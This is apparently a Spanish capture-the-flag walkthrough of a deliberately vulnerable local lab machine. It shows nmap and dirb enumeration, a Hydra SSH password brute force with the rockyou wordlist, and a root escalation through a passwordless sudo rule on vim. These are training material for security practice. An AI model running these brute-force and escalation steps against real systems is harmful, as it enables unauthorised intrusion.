Directorio /backup expuesto con un usuario, fuerza bruta SSH con Hydra y escalada a root abusando de un sudo sobre Vim.
obsession.tar · auto_deploy.sh
Se descomprime el archivo, se despliega la máquina y se comprueba la conectividad con la IP asignada.
$ unzip obsession.zip inflating: obsession.tar inflating: auto_deploy.sh $ bash auto_deploy.sh obsession.tar Máquina desplegada, su dirección IP es --> 172.17.0.2 $ ping -c 4 172.17.0.2 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.045 ms
nmap · escaneo de servicios
$ nmap -sCV -sS -n -Pn -p- 172.17.0.2 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 ← login anónimo habilitado 22/tcp open ssh OpenSSH 9.6p1 80/tcp open http Apache httpd 2.4.58
Tres servicios: FTP (con acceso anónimo), SSH y una web de coaching en el 80.
dirb · directorio /backup
El código fuente de la web tiene un comentario sospechoso. Ampliamos la búsqueda de recursos ocultos con Dirb.
$ dirb http://172.17.0.2 ==> DIRECTORY: http://172.17.0.2/backup/ + http://172.17.0.2/backup/backup.txt (CODE:200)
Dentro de /backup/ hay un backup.txt con información sensible:
$ curl http://172.17.0.2/backup/backup.txt Usuario para todos mis servicios: russoski (cambiar pronto!)
Tenemos un usuario válido: russoski.
hydra sobre SSH
$ hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 50 -I [22][ssh] host: 172.17.0.2 login: russoski password: iloveme
Con russoski : iloveme entramos por SSH:
$ ssh russoski@172.17.0.2 russoski@a1919dfe5717:~$
russoski → root
Revisamos los permisos de sudo:
russoski@a1919dfe5717:~$ sudo -l User russoski may run the following commands on a1919dfe5717: (root) NOPASSWD: /usr/bin/vim
Vim ejecutable como root permite lanzar un shell desde su modo comando (:!). Es un abuso clásico recogido en GTFOBins.
russoski@a1919dfe5717:~$ sudo /usr/bin/vim -c ':!/bin/bash' # whoami root
¡Máquina completada! Acceso conseguido como root.